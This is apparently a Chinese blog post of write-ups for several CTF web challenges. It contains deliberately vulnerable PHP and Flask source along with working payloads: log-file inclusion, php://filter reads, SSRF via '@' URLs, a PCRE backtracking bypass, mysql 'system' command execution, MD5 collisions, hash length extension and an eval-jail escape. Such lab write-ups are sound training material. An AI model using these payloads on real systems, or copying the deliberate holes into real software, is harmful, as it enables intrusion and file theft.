本文最后更新于 2025年12月28日 晚上
滤个不停
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php highlight_file(__FILE__); error_reporting(0);
$incompetent = $_POST['incompetent']; $Datch = $_POST['Datch'];
if ($incompetent !== 'HelloWorld') { die('写出程序员的第一行问候吧!'); }
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']; $is_valid = true;
foreach ($required_chars as $char) { if (strpos($Datch, $char) === false) { $is_valid = false; break; } }
if ($is_valid) {
$invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];
foreach ($invalid_patterns as $pattern) { if (stripos($Datch, $pattern) !== false) { die('此路不通换条路试试?'); } }
include($Datch); } else { die('文件名不合规 请重试'); } ?>
|
这里是一个文件包含,并且不可以通过伪协议来进行读取,它提示我们需要在提交中包含一些字母
1
| ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o']
|
这里因为不能进行常规的文件包含,所以需要通过包含一些特殊的路径
1
| incompetent=HelloWorld&Datch=/var/log/nginx/access.log
|
CTFShow-Web160:利用日志包含漏洞进行文件上传 - Zebra233 - 博客园
数学大师
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import requests import re
req = requests.session() url = "http://challenge.imxbt.cn:32583/"
answer = 0 while True: response = req.post(url , data={"answer": answer}) print(response.text) if "BaseCTF" in response.text: print(response.text) break regex = r" (\d*?)(.)(\d*)\?" match = re.search(regex, response.text) if match.group(2) == "+": answer = int(match.group(1)) + int(match.group(3)) elif match.group(2) == "-": answer = int(match.group(1)) - int(match.group(3)) elif match.group(2) == "×": answer = int(match.group(1)) * int(match.group(3)) elif match.group(2) == "÷": answer = int(match.group(1)) // int(match.group(3))
|
Python requests 模块 | 菜鸟教程
Python 正则表达式 | 菜鸟教程
圣钥之战1.0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from flask import Flask,request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
def is_json(data): try: json.loads(data) return True except ValueError: return False
class cls(): def __init__(self): pass
instance = cls()
@app.route('/', methods=['GET', 'POST']) def hello_world(): return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST']) def Read(): file = open(__file__, encoding="utf-8").read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} "
@app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
|
flag直接读取不就行了?
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file('index.php');
error_reporting(0); $J1ng = $_POST['J']; $Hong = $_POST['H']; $Keng = $_GET['K']; $Wang = $_GET['W']; $dir = new $Keng($Wang); foreach($dir as $f) { echo($f . '<br>'); } echo new $J1ng($Hong); ?>
|
1 2 3 4
| GET: ?K=GlobIterator&W=glob: POST: J=SplFileObject&H=php:
|
CTF中PHP原生类的妙用
Aura 酱的礼物
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php highlight_file(__FILE__);
$pen = $_POST['pen']; if (file_get_contents($pen) !== 'Aura') { die('这是 Aura 的礼物,你不是 Aura!'); }
$challenge = $_POST['challenge']; if (strpos($challenge, 'http://jasmineaura.github.io') !== 0) { die('这不是 Aura 的博客!'); }
$blog_content = file_get_contents($challenge); if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false) { die('请去博客里面写下感想哦~'); }
$gift = $_POST['gift']; include($gift);
|
首先对于第一个判断, 他需要读取一个文件后内容是 Aura,我们可以尝试通过 data:// 伪协议来进行读取
在文件读取的情况下, 利用 data:// 伪协议:
data://text/plain,一串内容 可以读取出 一串内容
data://text/plain;base64,xxxxxxxx 其中 xxxxxxx 会被 Base64 解码后再读取出内容
所以我们此处可以使用:
data://text/plain,Aura
data://text/plain;base64,QXVyYQ==
第二个判断的话, 我们要求页面的开头为 http://jasmineaura.github.io
我们可以利用 @ 来进行隔断, 将 @ 前面的内容当做用户名 (参考 https://cloud.tencent.com/developer/article/2288231)
URL 的格式为 `scheme://user:password@address:port/path?query#fragment`
而我们需要页面的内容存在这个字符串, 我们可以就利用当前页面来显示, 于是构造
http://jasmineaura.github.io@127.0.0.1
第三个的话是一个 include 点, 由于我们的 flag 在注释部分, 我们需要将其伪协议和过滤器来进行 base64 编码后输出
1
| php://filter/convert.base64-encode/resource=flag.php
|
参考文献
SSRF学习
SSRF漏洞原理攻击与防御(超详细总结)
1z_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php highlight_file('index.php');
$emp=$_GET['e_m.p']; $try=$_POST['try']; if($emp!="114514"&&intval($emp,0)===114514) { for ($i=0;$i<strlen($emp);$i++){ if (ctype_alpha($emp[$i])){ die("你不是hacker?那请去外场等候!"); } } echo "只有真正的hacker才能拿到flag!"."<br>";
if (preg_match('/.+?HACKER/is',$try)){ die("你是hacker还敢自报家门呢?"); } if (!stripos($try,'HACKER') === TRUE){ die("你连自己是hacker都不承认,还想要flag呢?"); }
$a=$_GET['a']; $b=$_GET['b']; $c=$_GET['c']; if(stripos($b,'php')!==0){ die("收手吧hacker,你得不到flag的!"); } echo (new $a($b))->$c(); } else { die("114514到底是啥意思嘞?。?"); }
$shell=$_POST['shell']; eval($shell); ?>
|
这里e_m.p有特殊字符和.所以要将换成[
因为.+?是匹配一个或多个任意字符,至少需要一个字符,所以必须让HACKER出现在try的参数中,但不是在开头
.+? 是「非贪婪匹配」,本意是匹配「任意最少字符」后接 HACKER;
- 但当
HACKER 出现在极长字符串的末尾(比如 100 万 + 个 - 之后),正则引擎会陷入「无限回溯」:
- 非贪婪的
.+? 先匹配 1 个 -,检查后面是否是 HACKER → 不是;
- 匹配 2 个
-,检查后面 → 不是;
- 重复这个过程,直到匹配 1000001 个
- 后,才找到末尾的 HACKER;
- PHP 对正则回溯有内存 / 时间限制(默认配置下,超过一定回溯次数会直接返回
false),导致 preg_match 执行超时 / 内存溢出,最终返回 false,第一段检测被绕过。
代码 (new $a($b))->$c()动态实例化类 $a(参数为 $b),并调用方法 $c()。
1 2 3
| import requests res = requests.post("http://101.37.149.223:32943/index.php?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"}) print(res.text)
|
requests.post语法
1 2 3 4 5 6 7 8 9 10 11
| >response = requests.post( url, data=None, json=None, headers=None, params=None, files=None, timeout=None, verify=True, cookies=None )
|
RCE or Sql Inject
打开容器,题目已经给出环境源码
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); $sql = $_GET['sql']; if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) { die("你知道的,不可能有sql注入"); } if (preg_match('/"|\$|`|\\\\/i', $sql)) { die("你知道的,不可能有RCE"); } $query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\""; system($query);
|
和only one sql那道题比较相似,多禁用了一些参数,sql注入基本没可能了
题目hint1给出要RCE,hint2给出mysql远程连接和命令行操作有区别,hint3给出输个问号看看
题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权
hint3中提示输个问号看看,那么就在mysql命令行中输入个问号试试,如下
其中注意到一行
1
| system (\!) Execute a system shell command.
|
意思是使用system关键字或!可以直接通过mysql命令行执行一个system shell命令,尝试一下如下图所示
那么问题就简单了,使用换行符绕过注释的限制,使用system执行命令,env可以直接出flag,想要弹shell需要用bash -c “command”包裹一下也可以弹出
所以你说你懂 MD5?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <?php session_start(); highlight_file(__FILE__);
$apple = $_POST['apple']; $banana = $_POST['banana']; if (!($apple !== $banana && md5($apple) === md5($banana))) { die('加强难度就不会了?'); }
$apple = (string)$_POST['appple']; $banana = (string)$_POST['bananana']; if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) { die('难吗?不难!'); }
$apple = (string)$_POST['apppple']; $banana = (string)$_POST['banananana']; if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) { die('嘻嘻, 不会了? 没看直播回放?'); }
if (!isset($_SESSION['random'])) { $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)); }
$random = $_SESSION['random']; echo md5($random); echo '<br />';
$name = $_POST['name'] ?? 'user';
if (substr($name, -5) !== 'admin') { die('不是管理员也来凑热闹?'); }
$md5 = $_POST['md5']; if (md5($random . $name) !== $md5) { die('伪造? NO NO NO!'); }
echo "看样子你真的很懂 MD5"; echo file_get_contents('/flag');
|
第三层强碰撞绕过
1
| apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
|
第四层通过就是哈希长度扩展,这里就通过hash-ext-attack-master来自动生成
bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16))这里相当于96位的字符串即密钥
name里面后面要添加admin字符串所以我们需要在后面添加一个以admin结尾的字符串,其它任意,这里就随便为qadmin
这里题目会给一个原始的md5值


EZ_PHP_Jail
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php highlight_file(__FILE__); error_reporting(0); include("hint.html"); $Jail = $_GET['Jail_by.Happy'];
if($Jail == null) die("Do You Like My Jail?");
function Like_Jail($var) { if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) { return false; } return true; }
if (Like_Jail($Jail)) { eval($Jail); echo "Yes! you escaped from the jail! LOL!"; } else { echo "You will Jail in your life!"; } echo "\n";
?>
|
当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _ 。
1
| ?Jail[by.Happy=xxxxxx```
|
现在考虑如何得到 flag,在页面源码中可以看见一个文件,访问后再phpinfo中看见过滤了很多内容,但是 highlight_file 函数可以完美绕过。
1
| ?Jail[by.Happy=highlight_file(glob("/f*")[0]);
|